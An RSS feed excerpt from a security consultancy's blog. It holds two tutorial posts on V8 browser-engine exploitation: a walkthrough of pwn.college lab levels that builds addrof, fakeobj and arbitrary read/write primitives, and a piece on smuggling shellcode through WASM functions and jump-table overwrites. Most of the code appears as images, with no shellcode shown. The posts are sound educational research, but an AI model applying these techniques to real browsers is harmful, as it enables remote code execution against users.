the team constantly stays sharp to outsmart the hackers out there.</p><p>Moses, following in the investigative heritage of his Detective grandfather, works as a DFIR Consultant @ INTfinity Consulting. He was one of the first 500 people to attain the prestigious GIAC Security Professional (GSP) title, and holds several forensics certifications. Blending field experience with a passion for education, Moses provides Cybersecurity training and consultancy, enabling companies to focus on their core business operations.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5d5a3c1b3aef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Miscellaneous Series 5 — Level up a Script Kiddie v8 skills Part 1]]></title>
            <link>https://medium.com/@INTfinitySG/miscellaneous-series-5-level-up-a-script-kiddie-v8-skills-part-1-2636b8201711?source=rss-550edb52e7f7------2</link>
            <guid isPermaLink="false">https://medium.com/p/2636b8201711</guid>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[browsers]]></category>
            <dc:creator><![CDATA[INTfinity Consulting]]></dc:creator>
            <pubDate>Wed, 09 Jul 2025 01:39:17 GMT</pubDate>
            <atom:updated>2025-07-09T01:39:17.793Z</atom:updated>
            <content:encoded><![CDATA[<h3>Miscellaneous Series 5 — Level up a Script Kiddie v8 skills Part 1</h3><h3>Introduction</h3><p>In this new series, we are seeking to improve our v8 knowledge through the pwn.college v8 exploitation challenge (<a href="https://pwn.college/quarterly-quiz/v8-exploitation/">https://pwn.college/quarterly-quiz/v8-exploitation/</a>. There are a total of 9 levels and we will be sharing our learning points such as the bug analysis, making the patch and exploit work on Windows if required (since the challenges were designed for linux) and finally the exploit techniques used.</p><p>To recap, in our Miscellaneous Series 2 — A Script Kiddie Diary in v8 Exploit Research (<a href="https://medium.com/@INTfinitySG/miscellaneous-series-2-a-script-kiddie-diary-in-v8-exploit-research-part-1-5b0bab211f5a">https://medium.com/@INTfinitySG/miscellaneous-series-2-a-script-kiddie-diary-in-v8-exploit-research-part-1-5b0bab211f5a</a>), there are 3 phases for exploit research, from discovering the vulnerability, triggering vulnerability and exploitation. In the different levels of this challenge, we will be covering what we will be doing in each phase.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*bxeFPf_UrVIYmFg4zsFXBw.png" /></figure><p>Part 1 will focus on the first 4 levels where they provide a progressive approach in terms of learning the know-how e.g. the bugs are easier to discover and trigger, key components for exploitation (GetAddress, Arbitrary Read, Arbitrary Write, RWX region for execution) are provided in the beginning for you to appreciate their importance in exploitation before having to create them in the later levels in order to complete that particular level.</p><h3><strong>What you should already know</strong></h3><ul><li>How to apply the patch and build d8 based on the commit version number.</li><li>The differences between a uint array, a float array and an object array</li><li>The location of the map and the position where the value of the first element is stored for: 1)Float Array, 2) Object Array</li><li>What is the fake object function and how to use it.</li></ul><h3><strong>Level 1 Challenge</strong></h3><p><strong>Understanding the Patch (to the best of a script kiddie ability…)</strong></p><p>v8 source files are definitely not the easiest source files to read and you do not have to understand every line code. Like any other vulnerability research, by looking at the patch diff, we can zoom into the changes to spot the issues (if any). For this challenge, the key changes are in:</p><ul><li>builtins-array.cc — A new builtin function “ArrayRun” is created, this is applicable to arrays only.</li><li>bootstrapper.cc — a “run” call is inserted which will run the ArrayRun function in builtins-array.cc</li></ul><p>Without going into the details, we observed that by declaring an array and calling “run” on the array. e.g. array.run(), the “ArrayRun” function will be triggered.</p><p><strong>Phase 1: Discovering the Vulnerability</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*pq9-qH4HoNgKuNv1Eojf9g.png" /></figure><p>The main issue lies in the ArrayRun Builtin function:</p><ul><li>Content stored in <strong>mem</strong> is executed.</li><li>Tracing back to the code, <strong>mem</strong> is actually a rwx region (created through mmap) and its content is copied from the elements of a JSarray.</li><li>Double numbers are stored in the JSArray which a float double array will pass the condition and length cannot be more than 4096.</li></ul><p>An example of the array that meet the condition:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MvSiJtGb3F5-3iHt1H-gUw.png" /></figure><p>The vulnerability lies in the existence of a RWX region (mem) and the contents will be executed. This mean that malicious shellcode can be potentially stored in mem and executed if all conditions are met.</p><p><strong>Getting the patch to work on Windows</strong></p><p>Change the following code from:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*LUyygsAkh9qbiXrw02278g.png" /></figure><p>to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*y8qLk3H3yjrr5p_Ktqc37A.png" /></figure><p><strong>Phase 2 and 3: Triggering and exploiting the vulnerability</strong></p><p>The goal is to <strong>store our shellcode to mem so that it can be executed</strong>. To meet the conditions in the patch file, we can do the following:</p><p>Shellcode are typically in bytes, declaring an array of shellcode bytes (Uint8Array) is a JSTypedArray but will not pass the “PACKED_DOUBLE_ELEMENTS” since it is a “UINT8ELEMENTS”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*1fAd8rgto8il1C9dPYLETg.png" /></figure><p>Furthermore, observing it in memory, the elements of the uint8 array does not contain shellcode, this mean that the contents that will later be stored and executed in the <strong>mem </strong>region will not be our shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/1*Sxdn_3iwSClujo3lKGQt5A.png" /></figure><p>Thus we will need an array of double numbers so we need to convert these bytes to double floating type. This can be done by using an ArrayBuffer to convert a Uint8Array to a float64Array</p><p>Below is conversion function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dkxzs0D541d-184dgNRKcQ.png" /></figure><p>Explanation:</p><p>To reinterpret the same memory as different data types (bytes vs float):</p><ul><li>Allocate an ArrayBuffer</li><li>Use a unit8array to write the raw uint8array shellcode into the ArrayBuffer (Remember you cannot manipulate the contents of ArrayBuffer directly)</li><li>Use a float64Array to intepret the memory as doubles</li></ul><p>This is the result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*oavy3IKpAO4zVyOVdleITg.png" /></figure><p>*Contents in Elements are 8 bytes from the Elements address</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*oN82epiQ46KsQ0QJAG9RNw.png" /></figure><p>In this case, the shellcode will be stored and executed in the mem rwx region.</p><p><strong>Summary of Level 1 Challenge</strong></p><p>In this challenge, there is no need for GetAddress, ArbRead. Both ArbWrite and RWX region for execution is provided.</p><h3><strong>Level 2 Challenge</strong></h3><p>In this challenge, 3 of the 4 key components for exploitation (GetAddress, Arbitrary Read, Arbitrary Write) are provided in this patch. This challenge is an example of why we need these components and getting to learn how to utilise them before going further into knowing how to create them from scratch.</p><p><strong>Understanding the patch</strong></p><p>The key modifications introduced in this patch are:</p><ul><li>d8.cc — Included GetAddressOf, ArbRead32, ArbWrite32 functions</li><li>d8.h — Function headers for GetAddressOf, ArbRead32, ArbWrite32</li></ul><p>The codes in the newly introduced functions are fairly straightforward e.g. in ArbRead32, a number argument is expected, the base address is added to this number (cast to 32bit due to pointer compression) and this 64bit address is then dereferenced to read a 32bit value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*xSjNZY3AAaxvPZAPwB4T6Q.png" /></figure><p><strong>Phase 1: Discovering the Vulnerability</strong></p><p>Pretty obvious right? The inclusion of the 3 functions are the “vulnerabilities” themselves.</p><p><strong>Getting the patch to work on Windows</strong></p><p>There is no modification required in the patch. It will work as-if in Windows.</p><p><strong>Phase 2 and 3: Triggering and exploiting the vulnerability</strong></p><p>For this challenge, we will be using the <strong>CodeDataContainer Turbofan</strong> exploitation technique. Details of the exploitation technique used can be found in our previous article (<a href="https://medium.com/@INTfinitySG/miscellaneous-series-3-a-script-kiddie-diary-in-v8-exploit-research-part-2-585bd3f0a833">https://medium.com/@INTfinitySG/miscellaneous-series-3-a-script-kiddie-diary-in-v8-exploit-research-part-2-585bd3f0a833</a>).</p><p>Briefly, this technique make use of the fact that functions are executable and how Turbofan changed the assembly representation of the code in the compiled JIT function. By specially crafting the shellcode, code execution can be achieved.</p><p>Notice that the function has changed from a BUILTIN CompileLazy Object to a CodeDataContainer Turbofan object. When the function become a <strong>CodeDataContainer Turbofan</strong> object, immediate numbers (such as floats) are compiled into mov <strong><em>&lt;reg&gt;, &lt;val&gt;</em></strong> instructions where <strong>vals</strong> are the elements of the returned array object.</p><p>After optimisation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*cnETGJhTQ5jy5tWWY5-Dew.png" /></figure><p>By specially crafting our shellcode into the equivalent double format and then <strong>chained</strong> them together through a <strong>jmp</strong> instruction, code execution can be achieved.</p><p>Below is an extract of the exploit code (the shellcode is omitted, refer to our previous article on how to craft the payload) :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*aujoxpGSVpMtj0h56yNzlg.png" /></figure><p>Explanation:</p><ul><li>Use GetAddressOf to find the address of the shellcode function</li><li>Read the code address at offset 0xC using ArbRead32</li><li>Read the rwx address at code address + 0x14 using ArbRead32, this is the address to modify to jump straight to the start of the shellcode.</li></ul><p>Original code address at 0x2404d0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*Stc0G4ZZFLjwumoRgABjOQ.png" /></figure><p>Change the execution address from 0xa16c0f80 to a16c0fe2 using ArbWrite32</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*2bUpVVSzdUMEglSalnyBYg.png" /></figure><p>The difference is 0x62. This explain why we are passing in rwx_addr+0x62 in the ArbWrite32 function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*4NBMSKJYbVN0ZBfgFmHMdg.png" /></figure><p>With the changes made, calling shellcode function will run the shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*CyXl4-qF5ehZ9zA1aiG1UA.png" /></figure><p><strong>Summary of Level 2 Challenge</strong></p><p>This challenge showed the usefulness of having functions to read addresses, doing arbitrary read and write. In reality, these functions may only be available by leveraging on vulnerabilities. In the next challenge, we will have to craft our own arbitrary read and write functions using the vulnerabilities in the code.</p><h3><strong>Level 3 Challenge</strong></h3><p><strong>Understanding the patch</strong></p><p>The key changes are:</p><ul><li>d8.cc — GetAddressOf, GetFakeObject are introduced</li><li>d8.h — Function headers for GetAddressOf, GetFakeObject</li></ul><p>Sadly, ArbRead32 and ArbWrite32 are not longer available, instead we now have the GetFakeObject function. The fake object is usually the go-to method for facilitating arbitrary read and write, details can be found in our previous article (<a href="https://medium.com/@INTfinitySG/miscellaneous-series-2-a-script-kiddie-diary-in-v8-exploit-research-part-1-5b0bab211f5a">https://medium.com/@INTfinitySG/miscellaneous-series-2-a-script-kiddie-diary-in-v8-exploit-research-part-1-5b0bab211f5a</a>).</p><p><strong>Phase 1: Discovering the Vulnerability</strong></p><p>Similar to Challenge 2, the “vulnerabilities” are the GetAddressOf and GetFakeObject functions which are intentionally added and in reality you will never be able to find such convenient functions for exploitation.</p><p><strong>Getting the patch to work on Windows</strong></p><p>There is no modification required in the patch. It will work as-if in Windows.</p><p><strong>Phase 2 and 3: Triggering and exploiting the vulnerability</strong></p><p>We will be writing our own ArbRead and ArbWrite function using the GetFakeObject function. Let’s do a quick recap of the fake object:</p><p>The fake object is a fake float JS array where you need to create a fake float structure where the 1st 4 bytes is the array map and the 9th to 12th bytes is the pointer to the elements. The typical way is to create a float array and manipulate index 0 as the map and index 2 as the pointer to the element.</p><p>Below is a pictorial illustration of how to create a fake float array and how it can be manipulated. Note that this is a simplified explanation, there are stuffs that are omitted which will be elaborated in Challenge 4 when we need to create our own fakeobject function (spoilers!!)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*RcF97dFbvfBr8Qlic4DtRg.png" /></figure><p>In the illustration above:</p><ul><li>Create a Temp Float Array</li><li>Temp Float Array[0] = fake float map</li><li>Temp Float Array[1] = fake element pointer and since it is pointing to an “element” field, the address to place should be the address to read or write subtracted by 8 (Remember why we said you need to understand the array structure?)</li></ul><p>The GetFakeObject function will return an JS object array at <strong>the address of temp float array[0] i.e. 0xDEADBECF.</strong></p><p><strong>Creating ArbRead</strong></p><p>With this in mind, let’s move to the code for ArbRead</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*vz42c7YVvI3n08OzI_f5MA.png" /></figure><ul><li>Create a temp float array</li><li>Get the float array map (through the debugger) ← There is no other way to do it for this challenge as there is no bugs to do OOB read to leak the value</li><li>Set Index 0 of temp float array to the float map</li><li>Use the GetFakeObject to return a fake object at the address of index 0 of temp float array. It seems like that TurboFan JIT may change how the arrays are arranged e.g. the element address of temp float array may differ (in our case it is +0x20 from the temp float array instead of the usual -0x10)</li><li>Set Index 1 to be the address to read — 0x8</li><li>Return index 0 of fake array will dereference the fake element pointer address and read the 1st element as a float value</li></ul><p><strong>Creating ArbWrite</strong></p><p>For ArbWrite, it is the same except that you set index 0 of fake array to the desired value instead of reading the value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*Kju4F1gnkk5RP9_m0he9JA.png" /></figure><p>Once all the required functions are in place, the exploitation steps are the same as Challenge 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*2yr8W33kbJj5_vZMoRXYyg.png" /></figure><p><strong>Summary of Level 3 Challenge</strong></p><p>As the levels progress, the difficulty increased which can be seen from the removal of the arbitrary read and write functions in Challenge 3 and the need to create them ourselves. In addition, understand how the fake object work is important and it also set the stage for level 4 where we will need to create the fake object function.</p><h3><strong>Level 4 Challenge</strong></h3><p><strong>Understanding the patch</strong></p><p>The key changes are:</p><ul><li>array-setlength.tq — new source file containing a new builtin function ArrayPrototypeSetLength that is applicable to array objects.</li><li>bootstrapper.cc — new function header for setLength for arrays</li></ul><p>At a glance without going into the details for ArrayPrototypeSetLength function, it is likely that the function allow the change of the length of array object and we will demonstrate how this can be exploited.</p><p><strong>Phase 1: Discovering the Vulnerability</strong></p><p>It is quite obvious that if the length of the array can be changed, this will results in an out-of-bounds (OOB) access beyond the actual length of the array e.g. we can potentially read values such as float array map which was hardcoded in Level 3 Challenge.</p><p><strong>Getting the patch to work on Windows</strong></p><p>There is no modification required in the patch. It will work as-if in Windows.</p><p><strong>Phase 2 and 3: Triggering and exploiting the vulnerability</strong></p><p>All the required functions GetAddressOf, GetFakeObject, ArbRead and ArbWrite are no longer included in the patch for this challenge. This is how it is in real world exploitation, we will need to make sure of the vulnerability identified earlier to create the 4 functions.</p><p>The first thing to do is to set up the arrays and changing the length of the top array to some large value so we can use the OOB access to perform read and write. *<em>Sometimes there is a need to declare extra arrays in order to set up the arrays nicely.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*IsaQ753xkGwXXuzcshhyIg.png" /></figure><p>Ideally, by doing the above, the arrays are stacked one after another. By setting the length of flt_arr to a large value, we will be able to read beyond flt_arr and into flt_arr2 and the obj_arr.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*iNp8FIBsl8K1eHXp1Cn4NA.png" /></figure><p>Assuming the arrays are placed in memory as shown above (<em>it may not be so nicely arranged in reality, this is for illustration only</em>), you can obtain the float map by looking index 3 of the flt_arr and the object map at index 13 after setting flt_arr length to some large value.</p><p><strong>Creating GetAddressOf</strong></p><p>This is the easiest of the 4 functions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*ZuNeWMaH0dYI8M1xfmqkzw.png" /></figure><ul><li>Insert the desired object into index 0 of obj_arr. This is important as it will place the address of desired object in index 0 (4 bytes) instead of a float value (8 bytes) since obj_arr is an object array.</li><li>OOB read from flt_arr to the location of obj_arr in memory (or element field of obj_array+8). This will return a float value (8 bytes) since flt_arr is a float array</li><li>Return the lower 4 bytes of the float value since it is an address and is only 4 bytes due to pointer compression.</li></ul><p><strong>Creating GetFakeObject</strong></p><p>This is the opposite of GetAddressOf.</p><ul><li>Insert the desired 4 bytes address into the 1st element of obj_array from the float array so the float value of the address is written.</li><li>An object is required so we read from the object array instead of the float array.</li></ul><p>Note that because only the lower 4 bytes is changed, we need to backup the higher 4 bytes and restore it after that to preserve the original state as much as possible.</p><p>As mentioned in Level 3 Challenge, the fake object is address of a temp float array index 0 that has its index 0 modified to a fake float map to make it appear as float array.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*JvzYl1haLmRgezWES2MQXA.png" /></figure><p><strong>Creating ArbRead and ArbWrite</strong></p><p>These 2 functions are the same as the ones in the previous challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*Q7KH2kMbhbnXVU2sNkT6nA.png" /></figure><p>Once all the required functions are in place, the exploitation steps are the same as Challenge 3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*f0txW7xh8zFa5awGqYiOHQ.png" /></figure><p><strong>Summary of Level 4 Challenge</strong></p><p>This challenge is a good exercise for creating the 4 components (GetAddressOf, GetFakeObject, ArbRead and ArbWrite) needed for exploitation once the vulnerability is identified. While this exercise use a simple OOB vulnerability which can be leveraged easily to create the 4 functions. The reality of chrome exploitation is that even if there is a vulnerability identified, we will still need to think of how to leverage it to create the 4 components and sometimes it is not possible.</p><h3>Conclusion</h3><p>In Part 1, we have walked through the 4 levels of the pwn.college v8 challenge where the focus is more on the exploitation portion than the vulnerability analysis. In the next part, the focus will be on the vulnerability analysis and how to leverage the vulnerability to perform exploitation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2636b8201711" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Miscellaneous Series 4— A Script Kiddie Diary in v8 Exploit Research Part 3]]></title>
            <link>https://medium.com/@INTfinitySG/miscellaneous-series-4-a-script-kiddie-diary-in-v8-exploit-research-part-3-4a3ba2da256d?source=rss-550edb52e7f7------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a3ba2da256d</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[wasm]]></category>
            <category><![CDATA[browsers]]></category>
            <dc:creator><![CDATA[INTfinity Consulting]]></dc:creator>
            <pubDate>Mon, 20 Jan 2025 06:47:14 GMT</pubDate>
            <atom:updated>2025-01-22T12:12:05.959Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome to Part 3 of a script kiddie diary in v8 exploit research! In Part 3 of this series, we will be primarily focusing on the use of WASM functions in v8 exploitation. Unlike Part 1 and Part 2 where we tried to detail the exploitation steps e.g. with memory layouts, Part 3 will be more on understanding the WASM functions and we leave it to the readers to craft your own exploit scripts using these WASM functions.</p><p>Specifically, we will be looking into 2 ways of using WASM functions in v8 Exploit</p><p>1) Crafting a function to smuggle shellcode to our specified address for code execution.</p><p>2) Change the code of existing WASM functions at runtime to smuggle shellcode</p><p>We will be using Version 12.2 (commit <strong>c7de69c8d6239bde585316cca0a62889fc27edbe</strong>). As usual, for those who wish to follow, do apply the simple vulnerability patch so that we can shortcut our way to the exploit proper.</p><h3><strong>Understand WASM Syntax</strong></h3><p>We will first cover the necessary knowledge on WASM syntax. As usual since we are script kiddies, we just need to know enough and thus we will not be covering the background of WASM. Below are some references to read and learn WASM</p><ul><li><a href="https://developer.mozilla.org/en-US/docs/WebAssembly/Understanding_the_text_format">https://developer.mozilla.org/en-US/docs/WebAssembly/Understanding_the_text_format</a></li><li><a href="https://webassembly.github.io/spec/core/syntax/types.html">https://webassembly.github.io/spec/core/syntax/types.html</a></li><li><a href="https://webassembly.github.io/wabt/demo/wat2wasm/">https://webassembly.github.io/wabt/demo/wat2wasm/</a></li></ul><p>For those that are familiar with crafting v8 exploit with WASM, you will notice a bunch of bytes when declaring a WASM instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IMaMG6v4uvFK8F-JfXUgPQ.png" /><figcaption>Snippet of WASM instance</figcaption></figure><p>What exactly are these bytes? These bytes are actually Web Assembly Text Format (WAT) in binary. WAT are a human readable format designed to help developers view the source of an WebAssembly module</p><p>In human readable format, this is how it look like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OS-hup1MsJxLpY5AwrfuGA.png" /><figcaption>WAT interpretation</figcaption></figure><p>Specific to preparing the WASM function for the exploit technique, we will just need to a few standard stuffs needed in a WASM function. Referring to the WAT code above:</p><ul><li>Line 1: The <strong>name</strong> of the function and the exported function name. When declaring it in the exploit code, the exported function name is the name to refer to.</li><li>Line 2 and 3: The function will take in 2 <strong>parameters</strong> of i64.</li><li>Line 4: The <strong>return</strong> value (64 bit integer) of the function</li><li>Line 5: The <strong>code</strong> to run in the WASM function, written in 64 bit integer in small endian.</li></ul><p>The binary file with the structure will look like this (Note that as shown above, the first 4 bytes are actually the WASM_BINARY_MAGIC and WASM_BINARY_VERSION:</p><pre>0000000: 0061 736d                                 ; WASM_BINARY_MAGIC<br>0000004: 0100 0000                                 ; WASM_BINARY_VERSION<br>; section &quot;Type&quot; (1)<br>0000008: 01                                        ; section code<br>0000009: 00                                        ; section size (guess)<br>000000a: 01                                        ; num types<br>; func type 0<br>000000b: 60                                        ; func<br>000000c: 02                                        ; num params<br>000000d: 7e                                        ; i64<br>000000e: 7e                                        ; i64<br>000000f: 01                                        ; num results<br>0000010: 7e                                        ; i64<br>0000009: 07                                        ; FIXUP section size<br>; section &quot;Function&quot; (3)<br>0000011: 03                                        ; section code<br>0000012: 00                                        ; section size (guess)<br>0000013: 01                                        ; num functions<br>0000014: 00                                        ; function 0 signature index<br>0000012: 02                                        ; FIXUP section size<br>; section &quot;Export&quot; (7)<br>0000015: 07                                        ; section code<br>0000016: 00                                        ; section size (guess)<br>0000017: 01                                        ; num exports<br>0000018: 04                                        ; string length<br>0000019: 6d61 696e                                main  ; export name<br>000001d: 00                                        ; export kind<br>000001e: 00                                        ; export func index<br>0000016: 08                                        ; FIXUP section size<br>; section &quot;Code&quot; (10)<br>000001f: 0a                                        ; section code<br>0000020: 00                                        ; section size (guess)<br>0000021: 01                                        ; num functions<br>; function body 0<br>0000022: 00                                        ; func body size (guess)<br>0000023: 00                                        ; local decl count<br>0000024: 42                                        ; i64.const<br>0000025: 90a1 c284 8992 a4c8 907f                  ; i64 literal<br>000002f: 0b                                        ; end<br>0000022: 0d                                        ; FIXUP func body size<br>0000020: 0f                                        ; FIXUP section size<br>; section &quot;name&quot;<br>0000030: 00                                        ; section code<br>0000031: 00                                        ; section size (guess)<br>0000032: 04                                        ; string length<br>0000033: 6e61 6d65                                name  ; custom section name<br>0000037: 01                                        ; name subsection type<br>0000038: 00                                        ; subsection size (guess)<br>0000039: 01                                        ; num names<br>000003a: 00                                        ; elem index<br>000003b: 04                                        ; string length<br>000003c: 6d61 696e                                main  ; elem name 0<br>0000038: 07                                        ; FIXUP subsection size<br>0000040: 02                                        ; local name type<br>0000041: 00                                        ; subsection size (guess)<br>0000042: 01                                        ; num functions<br>0000043: 00                                        ; function index<br>0000044: 02                                        ; num locals<br>0000045: 00                                        ; local index<br>0000046: 04                                        ; string length<br>0000047: 6164 6472                                addr  ; local name 0<br>000004b: 01                                        ; local index<br>000004c: 05                                        ; string length<br>000004d: 7661 6c75 65                             value  ; local name 1<br>0000041: 10                                        ; FIXUP subsection size<br>0000031: 20                                        ; FIXUP section size</pre><p>With these knowledge, let’s go into crafting the 1st way of using WASM export functions.</p><h4><strong>Method 1: Crafting a function to smuggle shellcode to our specified address for code execution</strong></h4><p>To recap, to achieve shellcode execution, we will need to achieve 2 objectives, 1) <em>we need to be able to identify an full 64 bit address with RWX permissions</em> and also 2) <em>to write our shellcode to this identified 64 bit address</em> .</p><p>Previously in Part 1 of the series, we have located a full 64 bit address with RWX permission in the WASM instance and by replacing the Array Buffer Backing Store with the WASM Instance address, we are able to write our shellcode to the WASM instance through the Array Buffer.</p><p>Similarly, in Part 2 of the series, the code entry field of a function (<em>functions are executable</em>) contain an external 64 bit pointer, what is different in this technique is instead of replacing shellcode, we have already crafted our shellcode as floating numbers in an array object inside a JITed function, which upon execution, the floating numbers are interpreted as pockets of shellcode chained to achieve code execution.</p><p>In Version 12.2, RWX memory space in the WASM instance is available as a 64 bit raw pointer and we will demonstrate how to smuggle our shellcode to this memory space using WASM function.</p><p>This is how the WASM function to smuggle shellcode to the RWX address will look like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*p9guLUZNHunAA3_B-_NPmw.png" /></figure><p>shellcode_buffer_addr is the placeholder function with RWX permission that we created to store our shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Py5k8CqoF7_Su4vAkBjRTg.png" /></figure><p>The shellcode is then smuggled in batches of 64 bit integer into the shellcode buffer and this is how it look like after the first run of the for loop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uImGwRNLW9pns6EEBv_MNQ.png" /></figure><h4><strong>Method 2: Change the code of existing WASM functions at runtime to smuggle shellcode</strong></h4><p>What if for some reasons, we need to modify the WASM function code at runtime after it is compiled?</p><p>Consider this WASM function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B2bLqmu1GZ5Sew7ibK-3ow.png" /></figure><p>The objective is to change the existing code of <strong><em>8 bytes nopsled</em></strong> to “<strong><em>mov QWORD PTR [rax], rdx</em></strong>” instruction.</p><p>The high level flow is as follows:</p><ul><li>Create a WASM instance with a <strong>main</strong> function, <strong>arb_write_gadget</strong> function, the <strong>arb_write</strong> function (target function to overwrite).</li><li>Change the jump table pointer of the WASM instance to point to the start of the “<strong><em>mov QWORD PTR [rax], rdx</em></strong>” instruction in <strong>arb_write_gadget </strong>function.</li><li>When the <strong>main</strong> function is run, it will instead go to the start of the “<strong><em>mov QWORD PTR [rax], rdx</em></strong>” instruction in <strong>arb_write_gadget </strong>function.</li><li><strong>RAX</strong> or param 1 will the address containing the code to change and <strong>RDX</strong> or param 2 will be the new code.</li></ul><p>Description of the required functions</p><ul><li>Main Function</li><li>arb_write_gadget</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E2fbSMf5y7pDXaqezV0bqQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qL0jVIHUQe6OJi47Gv113A.png" /></figure><p>The illustration below provide a general idea of the flow of this technique:</p><h4>Pre-execution</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aqoSW-BLP-PSVu0XUV8dLA.png" /></figure><h4>Upon execution of main function</h4><p>New entry point of <strong>main</strong>: 0x14a9ba816dd</p><p>Address of <strong>arb_write64</strong>: 0x14a9ba81740</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GQoNGaZnFKnFqmSuVknxFA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*awwXGBgnRrY_F8jzE4zEZQ.png" /></figure><p>With that, the arb_write64 function is modified and shellcode can be smuggled in as shown in Method 1 earlier where RAX will be the target address and RDX is the shellcode split into batches of 8 bytes.</p><p><strong>*Note:</strong> You may be wondering arb_write_gadget function was not expecting 2 parameters but when the main function is called and execution is redirected to arb_write_gadget, RAX and RDX reflect parameter 1 and parameter 2 respectively. This is a webassembly issue where wasm module exported functions’ signatures and function implementation are not tightly connected.</p><p>This issue was later reported in <a href="https://issues.chromium.org/issues/334120897">https://issues.chromium.org/issues/334120897</a> where it was used to bypass v8 heap sandbox in Version 12.4. In Version 12.5, the <strong>jump table pointer</strong> pointing to the <strong>main function (RWX space)</strong> is longer available, instead the <strong>swapping of function call targets</strong> was used to demonstrate the concept where the function signature type and implementation are not tightly connected. In a later upstream commit, it was mentioned that the idea is to move the <strong>WasmExportedFunctionData</strong> object into trusted space to ensure that all the information required for a function call stays consistent.</p><h4><strong>Bonus: WASM Module Builder</strong></h4><p>Do you know that you can use the WASMModuleBuilder to construct WASM functions inside your javascript file?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*Et34m-eU5FaFpclkkTYXLQ.png" /></figure><p>Say you decide not to use WAT and declare the WASM bytes array inside your javascript file like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IMaMG6v4uvFK8F-JfXUgPQ.png" /></figure><p>Instead you would prefer to see this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*7kGHCSCcA7I7oJWGpSWGTg.png" /></figure><p>Let’s break this down the function “arb_write_gadget” and explain in detail:</p><ul><li>First we will need to declare a type for a function and use it in the signature. In Line 176, we are creating a function type that accept no arguments and 1 return type of kWASMF64 or 64 bit float data type. This will be use later in addFunction as one of the parameter required.</li><li>From Line 179 to Line 183, the “arb_write_gadget” function is created with the code “0x9090909090108948” we need in the “addBody” field. We will need to convert the string to a float integer type for the function to accept it as a WASMF64Constant value. This is similar to Part 2 of our series where the shellcode are also converted to double.</li><li>Finally, we will just need to instantiate the builder and export the functions</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*x7onMxDl3ipmh_olXReqrQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*SAgywHsMiOTYPr4D9zKEnw.png" /><figcaption>Function “arb_write_gadget” in assembly</figcaption></figure><h3><strong>Conclusion</strong></h3><p>In this article, we have demonstrated 3 ways of using WASM functions to achieve arbitrary write. With that, we have concluded our 3 parts series on a script kiddie diary to v8 exploitation. With many interesting articles covering v8 exploitation (that help us in learning), we hope our articles will also be part of these interesting article that help new learners in learning v8 exploitation. The team will continue to work on learning v8 and we will share our thoughts here. That’s all, folks!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a3ba2da256d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Miscellaneous Series 3— A Script Kiddie Diary in v8 Exploit Research Part 2]]></title>
